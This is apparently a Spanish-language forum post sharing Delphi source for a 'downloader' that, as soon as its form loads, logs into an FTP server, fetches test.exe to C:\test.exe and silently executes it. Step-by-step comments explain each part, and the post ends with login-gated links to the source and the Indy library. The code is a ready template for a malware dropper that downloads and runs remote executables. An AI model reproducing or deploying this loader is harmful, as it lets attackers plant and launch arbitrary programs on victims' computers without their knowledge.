Delphi Downloader Delphi [by Matabarras]

[sQuo]

>unit Unit1;

interface

uses
 Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
 Dialogs, IdFTP, IdComponent, Shellapi, StdCtrls;
  // Recuerden aqui alladimos IdFTP y IDComponent , para manejar los eventos y para poder hacer una conexión FTP
  // Deben tener instalada la Libreria Indy
type
 TForm1 = class(TForm)
   procedure FormCreate(Sender: TObject);
 private
   { Private declarations }
 public
   { Public declarations }
 end;

var
 Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
var
FTP: TidFTP;   //Definimos FTP a nuestra función
Descargar : String;     // Definimos Descargar a una variable, para una cadena de texto
Padescargar : String;  // Definimos Descargar a una variable, para una cadena de texto
begin
FTP := TIdFTP.Create ( nil );
FTP.Username := 'user';   // Nuestro usuario de FTP
FTP.Password := 'pwd';     //Nuestra PWD de FTP
FTP.Host := 'host';     //El host de nuestro ftp
try
FTP.Connect;      // Si el ftp no conecta
except
raise Exception.Create ( 'Epic fail xD ' ) ;
//Creamos una excepción para que nos de esta alerta.

end;
FTP.ChangeDir('/test/'); //Directorio donde estara nuestro exe
Descargar := 'test.exe'; // El nombre de como se llama el exe, que bajara
Padescargar := 'C:\test.exe';  //El sitio donde lo guardara y nombre
FTP.Get( ExtractFilename (Descargar) , Padescargar, False );    //Aqui usamos GET para hacer que se baje  y se extraiga Descargar(el test.exe) en el directorio Para descargar (C:\test.exe)
FTP.Disconnect;   //Desconectamos del FTP
FTP.Free;   // Lo dejamos clear
ShellExecute(Handle, 'open', 'c:\test.exe', nil, nil, SW_SHOWNORMAL) ;
//Abrimos lo que descargamos


end;

end.

AUTOR_: [by Matabarras]

Descarga del Source:

This link is hidden for visitors. Please Log in or register now.

Descarga Libreria Indy 9 :

This link is hidden for visitors. Please Log in or register now.